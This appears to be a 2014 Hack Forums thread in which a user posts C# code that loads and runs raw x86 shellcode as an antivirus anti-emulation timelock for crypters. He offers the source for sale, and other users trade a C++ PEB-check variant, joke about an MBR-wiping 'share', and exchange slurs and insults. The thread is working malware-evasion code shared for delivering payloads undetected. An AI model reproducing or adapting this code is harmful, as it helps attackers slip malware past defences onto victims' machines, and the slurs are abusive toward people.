

Forum:[Hack Forums](#)

Thread: [Anti Emulation \[Crypters\]\[FUD\]](#)

spdy - August 24, 2014, 5:20 pm

Code public static class AVEvader

```
{
    [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
    private delegate int szDecrypt(byte[] Key);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    private static byte[] ucEvade =
    {
        0x55,0x8B,0xEC,0x83,0xE4,0xF8,0x51,0x53,0x33,0xC0,
        0x56,0x57,0x33,0xD2,0xC6,0x44,0x24,0x0C,0x00,0x66,
        0x89,0x44,0x24,0x0D,0x88,0x44,0x24,0x0F,0x33,0xFF,
        0xB3,0xFF,0x38,0x5C,0x24,0x0F,0x75,0x4A,0xB8,0x03,
        0x00,0x00,0x00,0x38,0x5C,0x04,0x0C,0x75,0x06,0x38,
        0x5C,0x04,0x0B,0x75,0x09,0x48,0x33,0xC9,0x85,0xC0,
        0x7F,0xED,0xEB,0x07,0x8D,0x48,0xFF,0x85,0xC9,0x75,
        0x06,0x38,0x5C,0x24,0x0C,0x74,0x69,0xFE,0x44,0x0C,
        0x0C,0xB8,0x03,0x00,0x00,0x00,0x2B,0xC1,0x85,0xC0,
        0x7E,0x18,0x8D,0x64,0x24,0x00,0x8D,0x4C,0x24,0x10,
        0x2B,0xC8,0x48,0xC6,0x01,0x00,0x85,0xC0,0x7F,0xF2,
        0xEB,0x04,0xFE,0x44,0x24,0x0F,0x8B,0x75,0x08,0x8D,
        0x4C,0x24,0x0C,0x33,0xC0,0x2B,0xF1,0x90,0x8D,0x4C,
        0x04,0x0C,0x8A,0x1C,0x0E,0x3A,0x19,0x75,0x12,0x40,
        0x83,0xF8,0x04,0x7C,0xEF,0xB8,0x01,0x00,0x00,0x00,
        0x5F,0x5E,0x5B,0x8B,0xE5,0x5D,0xC3,0x83,0xC2,0x01,
        0x83,0xD7,0x00,0x83,0xFF,0x01,0x77,0x0E,0x0F,0x82,
        0x70,0xFF,0xFF,0xFF,0x85,0xD2,0x0F,0x82,0x68,0xFF,
        0xFF,0xFF,0x5F,0x5E,0x33,0xC0,0x5B,0x8B,0xE5,0x5D,
        0xC3,0xCC
    };

    public static int Evade(byte[] Key)
    {
        int Result = 0;
        if (Key.Length == 4)
        {
            IntPtr aShell = Marshal.AllocHGlobal(ucEvade.Length);

            if (aShell != IntPtr.Zero)
            {
                Marshal.Copy(ucEvade, 0, aShell, ucEvade.Length);
                uint Protection = 0;
            }
        }
    }
}
```

```

        if (VirtualProtect(aShell, (uint)ucEvade.Length, 0x40, out Protection))
        {
            szDecrypt Dec = (szDecrypt)Marshal.GetDelegateForFunctionPointer(aShell,
typeof(szDecrypt));
            Result = Dec(Key);
        }
        Marshal.FreeHGlobal(aShell);
    }
    }
    return Result;
}
}

```

Usage:

Code byte[] Key = { 0x05, 0x9B, 0xF2, 0x37 };

```

if (AVEvader.Evade(Key) == 1)
{
    //DoWork (Inject, drop file what ever)
}

```

The shellcode located above will create a timelock for the process to avoid emulation by the antiviruses sandbox.

This will prevent signature/heuristic based systems to detect the actual malware.

This does not prevent your physical memory from being detected. This being said you should always choose your storage method accordingly and encode/encrypt the raw binary.

I will be selling the source for the shellcode (c# or c or asm). Post here for more information.

Feedback is appreciated.

Washi - August 24, 2014, 10:30 pm

There is not much feedback to give regarding the source to be honest, as you're not giving out the most important code, which is the shell code. For instance we will never know how it works, and if it is able to be optimised and never know why the key should be of size 4.

However, on the source you've provided us with, I can say a couple of things about. In the Evade method, you are using some convention that seems rather like you'd do with a C++ application though. You are returning an integer as return value, even if Key.Length equals 4. I'd suggest to go with a higher level way, and use exceptions instead.

PHP Code

```

<?php
if (Key.Length == 4)
    throw new ArgumentException("Key should be of size 4", "key");
// ...

```

Also consider using more exceptions based on the output of the szDecrypt function pointer and only return without them if everything went without problems. With this, you can replace the int return type of your Evade method to void.

Moreover, you are using Hungarian notation for your variables, which is not really that encouraged in the .NET environment. There are some MSDN articles about these conventions. Be sure to check

them out.

<http://msdn.microsoft.com/en-us/library/ms229045%28v=vs.110%29.aspx>
<http://msdn.microsoft.com/en-us/library/ff926074.aspx>

Spoiler ([Click to View](#))

Not to be the jerk here, but I've seen an AVEvader here before, with this exact same name. Is this your second account or something? If not, please accept my apology then.

Assault - August 25, 2014, 2:56 am

(Aug 24, 2014 10:30 PM)TheUnknownProgrammer Wrote: [\[CITE\]](#) Not to be the jerk here, but I've seen an AVEvader here before, with this exact same name. Is this your second account or something? If not, please accept my apology then.

No, this is his 58921398218th account.

I left a neg on the profile, now we wait for staff to do a cleanup.

FYI: If anyone wants to know how to do it themselves: all it does is form a really large loop; don't use any sleep/pause functions either.

The ideology behind is this to make the computing seem like it takes forever, so this way the anti-virus gives up instead of stalling on analysis of your file.

spdy - August 25, 2014, 12:04 pm

(Aug 25, 2014 02:56 AM)Assault Wrote: [\[CITE\]](#) No, this is his 58921398218th account.

I left a neg on the profile, now we wait for staff to do a cleanup.

FYI: If anyone wants to know how to do it themselves: all it does is form a really large loop; don't use any sleep/pause functions either.

The ideology behind is this to make the computing seem like it takes forever, so this way the anti-virus gives up instead of stalling on analysis of your file. Form a really large loop? Actually i sleep in nanoseconds to delay.

This is a non generic function which only goes by the first 32 bits. Do you even know what goes into this loop or are you just assuming it's a HUGE loop that does absolutely nothing?

(Aug 24, 2014 10:30 PM)TheUnknownProgrammer Wrote: [\[CITE\]](#) There is not much feedback to give regarding the source to be honest, as you're not giving out the most important code, which is the shell code. For instance we will never know how it works, and if it is able to be optimised and never know why the key should be of size 4.

However, on the source you've provided us with, I can say a couple of things about. In the Evade method, you are using some convention that seems rather like you'd do with a C++ application though. You are returning an integer as return value, even if Key.Length equals 4. I'd suggest to go with a higher level way, and use exceptions instead.

PHP Code

```
<?php
if (Key.Length == 4)
    throw new ArgumentException("Key should be of size 4", "key");
// ...
```

Also consider using more exceptions based on the output of the szDecrypt function pointer and only return without them if everything went without problems. With this, you can replace the int return

type of your Evade method to void.

Moreover, you are using Hungarian notation for your variables, which is not really that encouraged in the .NET environment. There are some MSDN articles about these conventions. Be sure to check them out.

<http://msdn.microsoft.com/en-us/library/ms229045%28v=vs.110%29.aspx>
<http://msdn.microsoft.com/en-us/library/ff926074.aspx>

Spoiler ([Click to View](#))

Not to be the jerk here, but I've seen an AVEvader here before, with this exact same name. Is this your second account or something? If not, please accept my apology then.

I'm going to stick to my native ways. That's the main department of my expertise. I tend to use hungarian notation as that's what i began to learn coding with. I tried camelcase but i couldn't adapt to it.

Also the hungarian notation noted above is wrong, it should not be szDecrypt, considering it's a function pointer pDecrypt_t would be more suitable.

d3agle - August 25, 2014, 2:12 pm

Oh cool, finally a share that doesn't write 0's to your MBR. :P

Would you mind explaining what the shell code is doing?

spdy - August 25, 2014, 2:14 pm

(Aug 25, 2014 02:12 PM)d3agle Wrote: [\[CITE\]](#) Oh cool, finally a share that doesn't write 0's to your MBR. :P

Would you mind explaining what the shell code is doing?

Well it goes through 256^4 combinations until it finds the key then returns.

Only3 - August 25, 2014, 2:19 pm

so basically ur shell code can be replace with long loop

spdy - August 25, 2014, 2:23 pm

(Aug 25, 2014 02:19 PM)Only3 Wrote: [\[CITE\]](#) so basically ur shell code can be replace with long loop We've already went over this. Write me a generic version of what i just explained.

d3agle - August 25, 2014, 2:37 pm

Would you say it would be comparable to something like this? How does your method differ?

```
Code public void Slow()
```

```
{  
    long nthPrime = FindPrimeNumber(1000); //set higher value for more time  
}
```

```
public long FindPrimeNumber(int n)
```

```
{  
    int count=0;  
    long a = 2;  
    while(count<n)  
    {  
        long b = 2;
```

```

int prime = 1;// to check if found a prime
while(b * b <= a)
{
if(a % b == 0)
{
    prime = 0;
    break;
}
b++;
}
if(prime > 0)
count++;
a++;
}
return (--a);
}

```

spdy - August 25, 2014, 2:41 pm

(Aug 25, 2014 02:37 PM)d3agle Wrote: [\[CITE\]](#) Would you say it would be comparable to something like this? How does your method differ?

```

Code public void Slow()
{
    long nthPrime = FindPrimeNumber(1000); //set higher value for more time
}

```

```

public long FindPrimeNumber(int n)
{
    int count=0;
    long a = 2;
    while(count<n)
    {
        long b = 2;
        int prime = 1;// to check if found a prime
        while(b * b <= a)
        {
            if(a % b == 0)
            {
                prime = 0;
                break;
            }
            b++;
        }
        if(prime > 0)
            count++;
        a++;
    }
    return (--a);
}

```

}Not even close.

Mine goes more in depth with binary. It has little to do with bitwise operations though.

Example of ZEUS compressed with UPX and encrypted

<http://razorscanner.com/result.php?id=560553>

Assault - August 25, 2014, 6:24 pm

(Aug 25, 2014 02:41 PM)spdy Wrote: [\[CITE\]](#) Mine goes more in depth with binary.
brb guise gotta go learn binary really quick to compete with this fag

Spoiler [\(Click to View\)](#)

No one cares, plenty of users have handled anti-emulation on their own.
When you have an actual identity, maybe someone will want to talk to you <.<

spdy - August 25, 2014, 6:29 pm

(Aug 25, 2014 06:24 PM)Assault Wrote: [\[CITE\]](#) brb guise gotta go learn binary really quick to compete with this fag

Spoiler [\(Click to View\)](#)

No one cares, plenty of users have handled anti-emulation on their own.
When you have an actual identity, maybe someone will want to talk to you <.<

Binary is an easy concept. Instead of using the number 10 base system you're counting with the number two base system.

0,
1,
10,
11, 100, 101,110,111,1000 etc

I don't understand how you can write code and not understand Binary.

No one cares, plenty of users have handled anti-emulation on their own.
Yeah i'm sure plenty of users have handled anti-emulation as they know what they're actually doing.
Since you can't come up with pseudo code regarding this i'll just assume you cant

Assault - August 25, 2014, 6:38 pm

(Aug 25, 2014 06:29 PM)spdy Wrote: [\[CITE\]](#) Binary is an easy concept. Instead of using the number 10 base system you're counting with the number two base system.

0,
1,
10,
11, 100, 101,110,111,1000 etc

I don't understand how you can write code and not understand Binary.

No one cares, plenty of users have handled anti-emulation on their own.
Yeah i'm sure plenty of users have handled anti-emulation as they know what they're actually doing.
Since you can't come up with pseudo code regarding this i'll just assume you cant
What are you talking about?

Utilizing the most advanced functions from the .net framework, I can easily do this.
Simply reference the "Crypter.Functions" namespace, and make a call to the static method called "DoWitchCraft" located in the "AntiEmulation" class.

spdy - August 25, 2014, 6:41 pm

(Aug 25, 2014 06:38 PM)Assault Wrote: [\[CITE\]](#) What are you talking about?

Utilizing the most advanced functions from the .net framework, I can easily do this.
Simply reference the "Crypter.Functions" namespace, and make a call to the static method called "DoWitchCraft" located in the "AntiEmulation" class.

DoWitchCraft. What exactly does this method utilize? What exactly prevents it from emulating during a heuristics scan? Does it compress the PE Headers during runtime?

Also you didn't understand my question, i asked you to write pseudocode on the basis of the shellcode...

Aren't you that kid that tried to shutdown competent? fucking joker.

spdy - August 25, 2014, 6:45 pm

(Aug 25, 2014 06:43 PM)Tweety. Wrote: [\[CITE\]](#) I can vouch for this, Assault has sold me this DoWithCraft() method for \$1500 and I am making bank. He anti emulated the anti emulator to emulate fudness.

fags with asian fantasies and worthless posts because they don't have the knowledge to join the argument.

That statement totally contradicts itself.

0x - - August 25, 2014, 6:47 pm

(Aug 25, 2014 06:29 PM)spdy Wrote: [\[CITE\]](#) Binary is an easy concept. Instead of using the number 10 base system you're counting with the number two base system.

0,

1,

10,

11, 100, 101,110,111,1000 etc

I don't understand how you can write code and not understand Binary.

No one cares, plenty of users have handled anti-emulation on their own.

Yeah i'm sure plenty of users have handled anti-emulation as they know what they're actually doing. Since you can't come up with pseudo code regarding this i'll just assume you cant

What's a binary? I really want to learn! ?

(Aug 25, 2014 06:45 PM)spdy Wrote: [\[CITE\]](#) fags with asian fantasies and worthless posts because they don't have the knowledge to join the argument.

That statement totally contradicts itself.

You're being hella troll and it's hilarious. But I do have to give you props for knowing what you're talking about.

A lot of people on this forum thinks they know what they're doing or talking about but they do not.

d3agle - August 25, 2014, 7:41 pm

(Aug 25, 2014 06:29 PM)spdy Wrote: [\[CITE\]](#) I don't understand how you can write code and not understand Binary.

I don't think I have the patience to learn all the low level shit, at least for right now, but I do appreciate the share. It's prompted me to learn asm just to understand this mumbo jumbo shit. I'll attempt to pseudo code this considering you shared something that I can learn from.

You're obviously an experienced coder and you would make a good edition to the community, minus that bullshit troll nulling my MBR on my VM, spent 5 minutes of my time creating a new one when I could have been doing more important things. Was a clever bait though. I'm glad to see GOOD shares from people, so thank you for this.

Ban - August 25, 2014, 7:44 pm

The amount of brain cells that died reading the atrocities I see here in this thread is astounding.

spdy - August 25, 2014, 8:41 pm

(Aug 25, 2014 07:41 PM)d3agle Wrote: [\[CITE\]](#) I don't think I have the patience to learn all the low level shit, at least for right now, but I do appreciate the share. It's prompted me to learn asm just to understand this mumbo jumbo shit. I'll attempt to pseudo code this considering you shared something that I can learn from.

You're obviously an experienced coder and you would make a good edition to the community, minus that bullshit troll nulling my MBR on my VM, spent 5 minutes of my time creating a new one when I could have been doing more important things. Was a clever bait though. I'm glad to see GOOD shares from people, so thank you for this.

lol. Always take SNAPSHOTS of your VM. Hey now you got something to destroy an OS. Take it out in the keylogger section :P

(Aug 25, 2014 07:44 PM)Ban Wrote: [\[CITE\]](#) The amount of brain cells that died reading the atrocities I see here in this thread is astounding.

Are you trying to sound somewhat intelligent?

Corios - August 26, 2014, 12:15 am

Why do you case so much to keep making accounts lol?

frontenhack - August 26, 2014, 1:09 am

(Aug 26, 2014 12:15 AM)Corios Wrote: [\[CITE\]](#) Why do you case so much to keep making accounts lol?

he get banned like 1 time every 4 days :P

katetem - August 26, 2014, 3:54 am

Assembly source plz? Or I'd like to deflate it my self.

Qmz_ - August 26, 2014, 4:02 am

There are plenty of ways on making an antiemulation. What most people don't realize, is that most of the old tricks still work. Maybe not something like sleep(60*1000), for loops for increasing a variable, or even counting prime numbers. However I'm pretty sure that something like bruteforcing the decryption key for the payload, works for most AV's - but you still need to avoid heuristics, and "look legitimate" in the eyes of an AV.

It's been some time since I last time played with crypters, but this was one part of my anti-emulation and it alone worked just nicely, when it was used as shellcode.

PHP Code

```
<?php
BOOL example()
{
    DWORD x = 0xFFFFFFFF, y = 0;

    VirtualProtectEx(reinterpret_cast<HANDLE>(0x253141), reinterpret_cast<LPVOID>(0x488148),
0x24862, NULL, NULL);

    __asm
    {
        mov eax, fs:[18h];
        mov eax, [eax + 34h];
        mov y, eax;
    }
}
```

```

while (x != 0)
{
    if (y != 87L)
    {
        break;
    }

    x--;
}

return x != 0;
}

```

...anyway the point was that your antiemulation isn't so special that anyone should buy it. But instead, they could read more about it from here:

<https://hackforums.net/showthread.php?tid=4068529>

spdy - August 26, 2014, 8:42 am

(Aug 26, 2014 04:02 AM)Qmz_ Wrote: [\[CITE\]](#) There are plenty of ways on making an antiemulation. What most people don't realize, is that most of the old tricks still work. Maybe not something like sleep(60*1000), for loops for increasing a variable, or even counting prime numbers. However I'm pretty sure that something like bruteforcing the decryption key for the payload, works for most AV's - but you still need to avoid heuristics, and "look legitimate" in the eyes of an AV.

It's been some time since I last time played with crypters, but this was one part of my anti-emulation and it alone worked just nicely, when it was used as shellcode.

PHP Code

```

<?php
BOOL example()
{
    DWORD x = 0xFFFFFFFF, y = 0;

    VirtualProtectEx(reinterpret_cast<HANDLE>(0x253141), reinterpret_cast<LPVOID>(0x488148),
0x24862, NULL, NULL);

```

```

    __asm
    {
        mov eax, fs:[18h];
        mov eax, [eax + 34h];
        mov y, eax;
    }

```

```

while (x != 0)
{
    if (y != 87L)
    {
        break;
    }

    x--;
}

```

```
    return x != 0;  
}
```

...anyway the point was that your antiemulation isn't so special that anyone should buy it. But instead, they could read more about it from here:

<https://hackforums.net/showthread.php?tid=4068529>

You should implement mathematics in your code. I mean, it shouldn't be so hard to implement an algorithm that specifically bruteforces the key at the correct time to prevent heuristics.